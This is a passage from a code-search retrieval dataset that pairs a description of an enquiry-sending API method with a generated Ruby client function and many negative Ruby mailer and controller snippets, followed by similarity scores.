"def make_enq_data\r\n tmp = \"Enquiry:<BR>\"\r\n tmp += \"Client Name: \" + @e.client_name + \"<BR>\" if @e.client_name\r\n tmp += \"Client Email: \" + @e.client_email + \"<BR>\" if @e.client_email\r\n tmp += \"Client Phone: \" + @e.client_phone + \"<BR>\" if @e.client_phone\r\n tmp += \"Agent: \" + @e.agent + \"<BR>\" if @e.agent\r\n tmp += \"Aref: \" + @e.aref + \"<BR>\" if @e.aref\r\n tmp += \"Price: \" + @e.price + \"<BR>\" if @e.price\r\n tmp += \"Region: \" + @e.region + \"<BR>\" if @e.region\r\n tmp += \"Department: \" + @e.department + \"<BR>\" if @e.department\r\n tmp += \"Information Requested: \" + @e.info_req + \"<BR>\" if @e.info_req\r\n tmp += \"Viewing Info: \" + @e.viewing_info + \"<BR>\" if @e.viewing_info\r\n \r\n tmp\r\n end",
"def send_invite\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: @invite_admin_obj.email,\n template_name: GlobalConstant::PepoCampaigns.admin_invite_template,\n template_vars: {\n inviter_name: @admin.name,\n invitee_name: @invite_admin_obj.name,\n company_name: @client.name,\n invite_token: @invite_token\n\n }\n ).perform\n\n end",
"def index\n @general_enquiries = GeneralEnquiry.all\n end",
"def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end",
"def new_advicepost_advisor(advisor)\n @advisor = advisor\n mail to: @advisor.email, subject: \"New advice listing submitted\"\n end",
"def candidate_interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Congrats!! You have been selected for an Interview\"\n \n mail to: @candidate.email, subject: subject\n end",
"def new_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end",
"def send_email(_invoice)\n code = '$ok'\n from = nil\n to = nil\n\n # Search offer & items\n @sale_offer = SaleOffer.find(_invoice)\n @items = @sale_offer.sale_offer_items.order(:id)\n\n title = t(\"activerecord.models.sale_offer.one\") + \"_\" + @sale_offer.full_no + \".pdf\"\n pdf = render_to_string(filename: \"#{title}\", type: 'application/pdf')\n from = !current_user.nil? ? User.find(current_user.id).email : User.find(@sale_offer.created_by).email\n to = !@sale_offer.client.email.blank? ? @sale_offer.client.email : nil\n\n if from.blank? || to.blank?\n code = \"$err\"\n else\n # Send e-mail\n Notifier.send_sale_offer(@sale_offer, from, to, title, pdf).deliver\n end\n\n code\n end",
"def inquiry(info)\n @name = info[:name]\n @email = info[:email]\n @content = info[:content]\n mail(to: 'kazpetrulyte@outlook.com', subject: \"Message from #{@name} via flowersbykaz.com\")\n end",
"def new(contact)\r\n @contact = contact\r\n case @contact.form_type\r\n when 'course_instance_enquiry'\r\n mail to: SITE_SETTINGS['Course Instance Enquiry'], cc: SITE_SETTINGS['Email'], subject: @contact.subject\r\n else\r\n mail to: SITE_SETTINGS['Email'], subject: \"Contact form completed - #{SITE_SETTINGS['Name']}\"\r\n end\r\n end",
"def create\n @inquiry = Inquiry.new(params[:inquiry])\n\n respond_to do |format|\n if @inquiry.save\n InquiryMailer.inquiry_confirmation(@inquiry).deliver\n format.html { redirect_to(new_inquiry_path, :notice => 'Inquiry was successfully created.') }\n format.xml { render :xml => @inquiry, :status => :created, :location => @inquiry }\n else\n format.html { render :action => \"new\",:layout=>'corp' }\n format.xml { render :xml => @inquiry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def inform_organization_context email\n # okay, because all contact_persons belong to the same organization\n orga = email.contact_people.first.organization\n offers = orga.offers.visible_in_frontend.select(\n &:remote_or_belongs_to_informable_city?\n )\n @contact_person = email.contact_people.first\n @vague_title = email.vague_contact_title?\n @mainly_portal = mainly_portal_offers?(offers)\n @overview_href_suffix = \"/organisationen/#{orga.slug || orga.id.to_s}\"\n @utm_tagging_suffix = generate_utm_suffix orga.offers, 'GF'\n @subscribe_href = get_sub_or_unsub_href email, 'subscribe'\n headers['X-SMTPAPI'] = { category: ['inform orga'] }.to_json\n send_emails email, offers, :orga_inform, t('.subject')\n end",
"def enquiry_params\n params.require(:enquiry).permit(:user_id, :name, :email, :subject, :text, :sent_at)\n end",
"def setup_email(user, payment)\n mail = Mail.deliver do\n to user.email\n from 'FoodCircles <hey@joinfoodcircles.org>'\n subject \"Got your Voucher for #{payment.offer.venue.name}\"\n reply_to 'used@inbound.foodcircles.net'\n html_part do\n content_type 'text/html; charset=UTF-8'\n body \"<table width = '550px'><tr><td style = font-size:12pt; font-family:Arial><p style= text-align: justify;>Print this email or just show it off on a fancy electronic device.</p>\n <p style= text-align: justify>\n <b>confirmation code:</b> #{payment.code}<br>\n <b>good for:</b> #{payment.offer.name}<br>\n <b>only at:</b> #{payment.offer.venue.name}<br>\n <b>with a minimum of:</b> #{payment.offer.min_diners} diners<br>\n <b>expiring:</b> #{30.days.from_now.to_date}</p><br>\n <b>3 steps to redeem:</b>\n <p>\n <b>1)</b> Show server this message before you order. They should jot your code down and confirm.<br>\n <b>2)</b> Order regular food or drink for each person in party.<br>\n <b>3)</b> Mark Voucher used by following this link! <a href=\\\"http://staging.foodcircles.net/payment/used?code=#{payment.code}&source=email\\\">Mark Voucher Used</a></br>\n </p><br><br>\n Enjoy!<br><br>\n Contact support at <b>support@joinfoodcircles.org</b> if you have any concerns or questions whatsoever.<br><br><br>\n <h3><u>FOR SERVERS:</u></h3>\n <p style= text-align: justify;><b>Write down the confirmation code on the table's receipt or your POS system</b>. Place a \\\"Buy One, Feed One\\\" placard on the guest's table, and mark a tally on your chalkboard (if available). Call us at 312 945 8627 with any questions!</p></td></tr></table>\"\n end\n end\n end",
"def item_feedback\n to = params[:patron_email] + ', ' + params[:staff_email]\n from = \"Item Feedback <#{params[:staff_email]}>\"\n title = params[:bib_record].title\n subject = \"Item Feedback [#{title}]\"\n mail(to: to, from: from, subject: subject)\n end",
"def admin_order_inform\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def send_survey\n @company.save\n @company.reload\n\n body = sprintf(SURVEY_EMAIL_TEMPLATE,\n name: @company.name,\n link: company_url(@company.uuid))\n\n send_email(sender: SURVEY_EMAIL_SENDER,\n recipients: @company.emails,\n subject: SURVEY_EMAIL_SUBJECT,\n html_body: body)\n end",
"def especial_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end",
"def new_advicepost_accepted_advisor(advisor)\n @advisor = advisor\n mail to: @advisor.email, subject: \"New advice listing accepted\"\n end",
"def application_approved(exam_candidate)\n @exam_candidate = exam_candidate\n \n using_locale @exam_candidate.language do\n mail :to => @exam_candidate.email_address_with_name\n end\n end",
"def reminder_to_request_departmental_approval(name, email)\n @name = name\n\n mail(to: email, subject: 'Department approval may be needed')\n end",
"def refer(line_item)\n @line_item = line_item\n @greeting = \"Hi #{@line_item.name}\"\n @job = Job.find(@line_item.job_id)\n\n mail to: line_item.email, subject:\"Hi #{@line_item.name}, 猎友会给您推荐职位了\", temlate_path: 'refer_notifier',template_name: 'refer'\n end",
"def new_contact_reply(contact_us_id)\n @contact_us = ContactUs.find contact_us_id\n mail({\n to: @contact_us.email,\n subject: \"Thank you for contacting us\"\n })\n end",
"def order_budget()\n \n @greeting = \"Hi\"\n\n mail :to => \"docs1006@prodigy.net.mx\", :subject => 'Pragmatic Store Order Confirmation'\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :salutation, :name, :country, :contact_no, :email, :content, :subject)\n end",
"def send_test\n @bulletin = @project.bulletins.find(params[:id]) \n \n if request.post?\n addr = params[:recipient][:email]\n recip = @project.recipients.find_by_email(addr)\n if ! recip\n recip = Recipient.new(:email => addr, :firstname => 'Sample', :surname => 'User')\n subscription = Subscription.new( :project => @project, :recipient => recip )\n else\n subscription = @project.subscriptions.find_by_recipient_id( recip.id )\n end\n \n #begin \n BulkMailer::deliver_bulletin(@bulletin, subscription)\n flash[:notice] = _(\"Test e-mail sent successfully!\")\n redirect_to :action => 'index'\n #rescue\n # flash[:error] = \"Unable to send the test email! \" + $!\n #end\n end\n end",
"def adhoc_mailing\n setup_adhoc_render_default\n end",
"def demo_request(email, name, company)\n @email = email\n @name = name\n @company = company\n mail(to: \"casimodo.be@gmail.com\", subject: \"new demo demand\")\n end"
] |
[
"0.6753966",
"0.671804",
"0.6641258",
"0.66005546",
"0.65287817",
"0.65119916",
"0.6456055",
"0.63947916",
"0.62793857",
"0.62793857",
"0.62793857",
"0.62793857",
"0.62793857",
"0.62793857",
"0.62793857",
"0.6167682",
"0.61347187",
"0.6133035",
"0.61269325",
"0.6119145",
"0.6089702",
"0.6070136",
"0.60638875",
"0.6045794",
"0.6039138",
"0.6019917",
"0.6019063",
"0.59812975",
"0.59518784",
"0.5939329",
"0.5926948",
"0.5921062",
"0.5897058",
"0.5893819",
"0.58900607",
"0.5886522",
"0.5841632",
"0.58260095",
"0.5806568",
"0.5792708",
"0.5785121",
"0.5780279",
"0.5779494",
"0.57761747",
"0.57611454",
"0.5757906",
"0.5755949",
"0.57476264",
"0.57247037",
"0.569738",
"0.5681745",
"0.56805503",
"0.56767094",
"0.56767094",
"0.5669182",
"0.5668429",
"0.5661956",
"0.56539756",
"0.5646393",
"0.56336534",
"0.56287754",
"0.56277555",
"0.56277555",
"0.5618161",
"0.5574307",
"0.556114",
"0.555297",
"0.5548162",
"0.5544635",
"0.5542642",
"0.55346596",
"0.55345905",
"0.55338657",
"0.5523635",
"0.55186206",
"0.5505155",
"0.5496177",
"0.5493195",
"0.5480501",
"0.547558",
"0.5462462",
"0.5449479",
"0.5449025",
"0.5448989",
"0.5446604",
"0.5428522",
"0.54220706",
"0.5409274",
"0.5397064",
"0.53969514",
"0.5369624",
"0.5367185",
"0.5365953",
"0.5361528",
"0.5359595",
"0.5355972",
"0.5354148",
"0.53498644",
"0.53485805",
"0.5345027"
] |
0.5529786
|
73
|
Sends an enquiry for listing, agency, etc... (based on the enquiry type and referenceid). Recipients and template will be automatically selected.
|
def enquiries_post_with_http_info(enquiry, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_post ...'
end
# verify the required parameter 'enquiry' is set
if @api_client.config.client_side_validation && enquiry.nil?
fail ArgumentError, "Missing the required parameter 'enquiry' when calling EnquiriesApi.enquiries_post"
end
# resource path
local_var_path = '/v1/enquiries'
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml', 'application/x-www-form-urlencoded'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(enquiry)
auth_names = ['oauth2']
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'DomainEnquiryServiceV1ModelGroupEnquiryServiceModelsEnquiryResponse')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: EnquiriesApi#enquiries_post\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def enquiry(enquiry)\n @enquiry = enquiry\n\n mail :to => Rails.configuration.enq_to_address, :subject => \"B&B availability request for Bull Farm Oast\", :bcc => Rails.configuration.enq_bcc_address, :reply_to => enquiry.email \n end",
"def inquiry(inquiry)\n @inquiry = inquiry\n @greeting = \"咨询\"\n\n mail to: \"cvsend@139.com\", subject:\"有人咨询\", temlate_path: 'refer_notifier',template_name: 'inquiry'\n end",
"def send_enquiry\r\n EnquiryMailer.submit_enquiry(self).deliver_now \r\n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def sent_wholesale_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your wholesale inquiry has been sent to Feya Candle\")\n end",
"def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end",
"def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end",
"def wholesale_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Wholesale inquiry\")\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def suggest_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Suggested store inquiry\")\n end",
"def sent_suggest_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your suggestion has been sent to Feya Candle\")\n end",
"def inquiry(inquiry, options = {})\n get(\"inquiries/#{inquiry}\", options).pop\n end",
"def create\n @enquiry = Enquiry.find params[:enquiry_id]\n content = params[:email_content].gsub(\"\\n\", '<br>')\n FoodPartnerMailer.new_order_notice(@enquiry, content).deliver_later\n SupplierCommunication.create! comm_params\n @enquiry.wait_on_supplier\n head :ok\n end",
"def send_signup_email(enquiry)\n @enquiry = enquiry\n mail( :to => 'info@refunction.ca',\n :subject => 'Customer Enquiry' )\n end",
"def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end",
"def sent_volunteer_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your volunteer inquiry has been sent to Feya Candle\")\n end",
"def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end",
"def send_email\n InquiryMailer.inquiry_created_email(self).deliver\n end",
"def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end",
"def inquiry_created_email(inquiry)\n @inquiry = inquiry\n mail(to: 'tushiesandtantrums@gmail.com',\n subject: 'New Message from your Website',\n reply_to: @inquiry.email) do |format|\n format.html { render layout: 'email' }\n end\n end",
"def new_inquiry(inquiry)\n @inquiry = inquiry\n subject = @inquiry.subject.blank? ? 'Inquiry' : @inquiry.subject\n mail from: @inquiry.email, subject: subject\n end",
"def new_order_notice(enquiry)\n @enquiry = enquiry\n @customer = @enquiry.customer\n mail(subject: \"[team] New Order #{@enquiry.id}\")\n end",
"def response(enquiry)\n @greeting = \"Hi\"\n @enquiry = enquiry\n mail(to:@enquiry.email, subject:\"Thankyou for your enquiry\")\n end",
"def volunteer_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Volunteer inquiry\")\n end",
"def request_mail(from_email, content_body, requestor_type)\n @content= content_body\n @sender = from_email\n @requestor_type = requestor_type\n mail from: from_email, to: 'contact@codemalaysia.com', subject: 'PFS general enquiry'\n end",
"def create_inquiry(rental, options = {})\n post(\"rentals/#{rental}/inquiries\", inquiries: [options]).pop\n end",
"def create_agent_enquiry(agent, enqtype)\r\n if not agent\r\n @log.warn \"could not create agent enquiry - no agent record\"\r\n else\r\n AgentEnquiry.create(\r\n :enquiry_id => @enq.id(),\r\n :agent_id => agent.id(),\r\n :enq_type => enqtype,\r\n :sent_at => @e.created_at\r\n )\r\n @log.info \"Enquiry #{@i}: Creating agent enquiry - #{agent.to_s} type: #{enqtype}\"\r\n end\r\n end",
"def set_general_enquiry\n @general_enquiry = GeneralEnquiry.find(params[:id])\n end",
"def create\n @enquiry = Enquiry.new(params[:enquiry])\n\n respond_to do |format|\n if @enquiry.save\n logger.info {\"Starting email first\"}\n EnquiryMailer.enquiry_received(@enquiry).deliver\n logger.info {\"Starting email second\"}\n EnquiryMailer.enquiry_response(@enquiry).deliver\n format.html { redirect_to thanks_path, notice: 'Thank you for your enquiry.' }\n format.json { render action: 'show', status: :created, location: @enquiry }\n else\n format.html { render action: 'new' }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def received(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo BioPharma Inquiry Confirmation'\n end",
"def contact_notifier(supplier, user, contact, listing)\n\t @supplier = supplier\n\t @user = user\n\t @contact = contact\n\t @listing = listing\n\t mail(:to => supplier.email,\n\t :subject => \"#{user.first_name} posted an inquiry on #{listing}\")\n end",
"def send_enquiry_reply(enquirer)\n send_message(:election_enquiry_reply, nil, enquirer)\n end",
"def notification(inquiry)\n @inquiry = inquiry\n\n mail :to => @inquiry.email, :subject => \"New Inquiry\"\n end",
"def inquiry(member)\n @member = member\n mail to: @member.email\n end",
"def seller_invoices\n logger.info(\"Will send email of SELLER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_seller_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def partner_help_notice(partner_help_id)\n ActsAsTenant.current_tenant = nil\n @partner_help = PartnerHelp.find(partner_help_id)\n mail(subject: 'YesTrak Partner Help Form', to: @partner_help.email, bcc: \"#{APP_CONFIG['admin_emails']}\")\n end",
"def new_enquiry(operator, trip)\n @trip = trip\n @operator = operator\n @emails = Organisation.get_all_emails(trip.organisation)\n mail(\n to: @emails,\n subject: 'JetSetGo - New enquiry created'\n )\n end",
"def new\n @enquiry = Enquiry.new\n respond_with @enquiry\n end",
"def fulfillment_new_invoice(invoice) \n @invoice = invoice\n sc = invoice.site.store_config\n mail(:to => sc.fulfillment_email, :subject => 'New Order')\n end",
"def support_enquiry_notifier(enquiry, title)\n @title = title\n @name = enquiry.name\n @email = enquiry.email\n @message = enquiry.message\n @topic = enquiry.topic\n subject = \"#{@name} - #{@topic} - #{@title}\"\n\n @stats = enquiry.stats['categories']\n\n mail_hash = {subject: subject}\n\n if enquiry.stats.sender_email.present?\n mail_hash.merge!({from: enquiry.stats.sender_email})\n end\n\n if enquiry.stats.recipient_email.present?\n mail_hash.merge!({to: default_params[:to],\n bcc: enquiry.stats['recipient_email'].split(\",\").map(&:strip)})\n end\n\n mail(mail_hash)\n end",
"def buyer_invoices\n logger.info(\"Will send email of BUYER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_buyer_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def show\n @enquiry = Enquiry.new\n @enquiry = Enquiry.find(params[:id])\n end",
"def invite_for(quarter, unit = nil)\n command_after_delivery = \"Organization.find(#{id}).activate_for(Quarter.find(#{quarter.id}), true)\"\n # Send the email\n primary_contacts_for_unit(unit).each do |r|\n tmail_object = OrganizationQuarter::MID_QUARTER_EMAIL_TEMPLATES['Invite only'].create_email_to(r)\n EmailQueue.queue(r.person_id, tmail_object, nil, command_after_delivery)\n @emails_sent = true\n end\n end",
"def investment_email(investor,investment_opportunity)\n @investor = investor\n @investment_opportunity = investment_opportunity\n mail(from: \"visitor@emergingfrontiers.com\",to: \"info@emergingfrontiers.com\",reply_to: @investor.email, subject: \"Emerging Frontiers Investment Inquiry\")\n end",
"def sendQuestionnaire\n email=params[:email]\n emails=email.split(\",\")\n description=params[:description]\n questionnaire_id = params[:questionnaire_id]\n emails.each do |one|\n ReviewerInviter.task_invitation(one, description, \"http://localhost:3000/questionnaires/answer_show?id=\"+questionnaire_id).deliver()\n end\n respond_to do |format|\n format.html { redirect_to(:back) } #, flash[:success] = \"holder updated\") \n end\n end",
"def contact(config, name, email, comments)\r\n\t\tcontent_type 'text/plain'\r\n\r\n\t\t@subject = \"Enquiry from #{config[:application][:name][:value]} Web site\"\r\n\t\t@recipients = config[:emails][:admin][:value]\r\n\t\t@from = \"#{name} <#{email}>\"\r\n\t\t@sent_on = Time.now\r\n\t\t@body['name'] = name\r\n\t\t@body['email'] = email\r\n\t\t@body['comments'] = comments\n\tend",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def send_home_form_email(lead)\n @lead = lead\n mail( :to => @lead.email,\n :subject => \"The answer you seek\" )\n end",
"def create\n @enquiry = Enquiry.new(enquiry_params)\n\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dispatch_to_default_with_helpdesk\n issue = receive_issue\n roles = issue.author.roles_for_project(issue.project)\n # add owner-email only if the author has assigned some role with\n # permission treat_user_as_supportclient enabled\n if roles.any? {|role| role.allowed_to?(:treat_user_as_supportclient) }\n sender_email = @email.from.first\n #XXX the email_details overrides bellow: there is subroutine call instead\n email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n\n custom_field = CustomField.find_by_name('cc-handling')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.project.id, custom_field.id).first\n\n if (!@email.cc.nil?) && (custom_value.value == '1')\n carbon_copy = @email[:cc].formatted.join(', ')\n email_details << \"Cc: \" + carbon_copy + \"\\n\"\n custom_field = CustomField.find_by_name('copy-to') \n\t custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).first\n custom_value.value = carbon_copy\n custom_value.save(:validate => false)\n else\n carbon_copy = nil\n end\n\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details = \"<pre>\\n\" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"</pre>\"\n\t email_details = compose_email_details()\n issue.description = email_details + issue.description\n issue.save\n custom_field = CustomField.find_by_name('owner-email')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).\n first\n custom_value.value = sender_email\n custom_value.save(:validate => false) # skip validation!\n \n # regular email sending to known users is done\n # on the first issue.save. So we need to send\n # the notification email to the supportclient\n # on our own.\n \n HelpdeskMailer.email_to_supportclient(issue, {:recipient => sender_email,\n :carbon_copy => carbon_copy} ).deliver\n # move issue's description onto the new (1-st) journal entry\n journal = Journal.new(:journalized_id => issue.id, :journalized_type => 'Issue', :user_id => issue.author.id, :notes => issue.description, :private_notes => false, :created_on => issue.created_on)\n journal.notify = false # regular email sending to known users is done so no need to notify one more time about this technical operation\n journal.save\n issue.description = ''\n issue.save\n\n end\n after_dispatch_to_default_hook issue\n return issue\n end",
"def invoice\n if @invoice.should_be_delivered? then\n @invoice.set_delivered \n end\n \n respond_to do |wants|\n wants.html do\n redirect_to survey_report_path(@survey)\n end\n end\n end",
"def create\n extra = ParamsFormatter.new(params[:enquiry]).generate\n @enquiry = Enquiry.new(enquiry_params.merge(extra))\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enquiry_params\n params.require(:enquiry).permit(:Reference, :Location, :Date, :Time, :Amount)\n end",
"def emailform\n end",
"def emailform\n end",
"def create\n @enquiry = Enquiry.new(enquiry_params)\n\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to root_path, notice: 'Message was successfully sent.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def perform(inquiry_id)\n inquiry = Inquiry.find_by(id: inquiry_id)\n sender = find_user(inquiry.sender_id)\n receiver = find_user(inquiry.receiver_id)\n apartment = find_apartment(inquiry.apartment_id)\n room = Room.create(name_for_student: \"#{apartment&.title} - #{receiver.username}\" , name_for_landlord: \"#{apartment&.title} - #{sender.username}\", inquiry: inquiry)\n message = Message.create(content: inquiry&.message, user_id: inquiry&.sender_id, room: room)\n InquiryMailer.send_inquiry(sender, receiver, inquiry).deliver_later\n end",
"def inquiry(contact_message)\n @contact_message = contact_message\n mail to: \"newsletterstar@gmail.com\",\n from: contact_message.email,\n subject: \"Neue Kontaktanfrage\"\n end",
"def invite_worker(email, agency)\n setup_email\n body[:agency] = agency\n recipients email\n subject \"Invite from #{agency.name} to use on-line timesheets at ClockOff.com\"\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :name, :date, :status, :location_preference, :link, :area_id, :category_id)\n end",
"def invoice\n @greeting = \"Hi\"\n\n mail to: \"ajayashok.01@gmail.com\"\n end",
"def create_yatra_enquiry(yatra_enquiry, operator)\n @yatra_enquiry = yatra_enquiry\n @operator = operator\n mail(\n to: @operator.email,\n subject: 'JetSetGo - New Yatra Enquiry Received.'\n )\n end",
"def send_enquiry()\n # Send election enquiry message. The master will reply if its node_id is greater than this node's\n send_message(:election_enquiry)\n # Wait for the master's response for a few seconds\n @master_response_timeout = EM::Timer.new(5) do\n # No response, asume we are the master\n Logger.info log_message(\"No response from the master, claiming to be the master.\")\n become_master\n end\n end",
"def new_inquiry(name, email, phone, message)\n mail( :to => ENV['GMAIL_USERNAME'],\n :from => ENV['GMAIL_USERNAME'],\n :subject => 'NEW INQUIRY' + ' from ' + name,\n :body => message\n )\n end",
"def interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Takeoff - Interview Request\"\n \n mail to: \"takeoff@interviewjet.com\", subject: subject\n \n \n end",
"def make_enq_data\r\n tmp = \"Enquiry:<BR>\"\r\n tmp += \"Client Name: \" + @e.client_name + \"<BR>\" if @e.client_name\r\n tmp += \"Client Email: \" + @e.client_email + \"<BR>\" if @e.client_email\r\n tmp += \"Client Phone: \" + @e.client_phone + \"<BR>\" if @e.client_phone\r\n tmp += \"Agent: \" + @e.agent + \"<BR>\" if @e.agent\r\n tmp += \"Aref: \" + @e.aref + \"<BR>\" if @e.aref\r\n tmp += \"Price: \" + @e.price + \"<BR>\" if @e.price\r\n tmp += \"Region: \" + @e.region + \"<BR>\" if @e.region\r\n tmp += \"Department: \" + @e.department + \"<BR>\" if @e.department\r\n tmp += \"Information Requested: \" + @e.info_req + \"<BR>\" if @e.info_req\r\n tmp += \"Viewing Info: \" + @e.viewing_info + \"<BR>\" if @e.viewing_info\r\n \r\n tmp\r\n end",
"def enquiries_post(enquiry, opts = {})\n data, _status_code, _headers = enquiries_post_with_http_info(enquiry, opts)\n data\n end",
"def send_invite\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: @invite_admin_obj.email,\n template_name: GlobalConstant::PepoCampaigns.admin_invite_template,\n template_vars: {\n inviter_name: @admin.name,\n invitee_name: @invite_admin_obj.name,\n company_name: @client.name,\n invite_token: @invite_token\n\n }\n ).perform\n\n end",
"def index\n @general_enquiries = GeneralEnquiry.all\n end",
"def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end",
"def new_advicepost_advisor(advisor)\n @advisor = advisor\n mail to: @advisor.email, subject: \"New advice listing submitted\"\n end",
"def candidate_interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Congrats!! You have been selected for an Interview\"\n \n mail to: @candidate.email, subject: subject\n end",
"def new_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end",
"def send_email(_invoice)\n code = '$ok'\n from = nil\n to = nil\n\n # Search offer & items\n @sale_offer = SaleOffer.find(_invoice)\n @items = @sale_offer.sale_offer_items.order(:id)\n\n title = t(\"activerecord.models.sale_offer.one\") + \"_\" + @sale_offer.full_no + \".pdf\"\n pdf = render_to_string(filename: \"#{title}\", type: 'application/pdf')\n from = !current_user.nil? ? User.find(current_user.id).email : User.find(@sale_offer.created_by).email\n to = !@sale_offer.client.email.blank? ? @sale_offer.client.email : nil\n\n if from.blank? || to.blank?\n code = \"$err\"\n else\n # Send e-mail\n Notifier.send_sale_offer(@sale_offer, from, to, title, pdf).deliver\n end\n\n code\n end",
"def inquiry(info)\n @name = info[:name]\n @email = info[:email]\n @content = info[:content]\n mail(to: 'kazpetrulyte@outlook.com', subject: \"Message from #{@name} via flowersbykaz.com\")\n end",
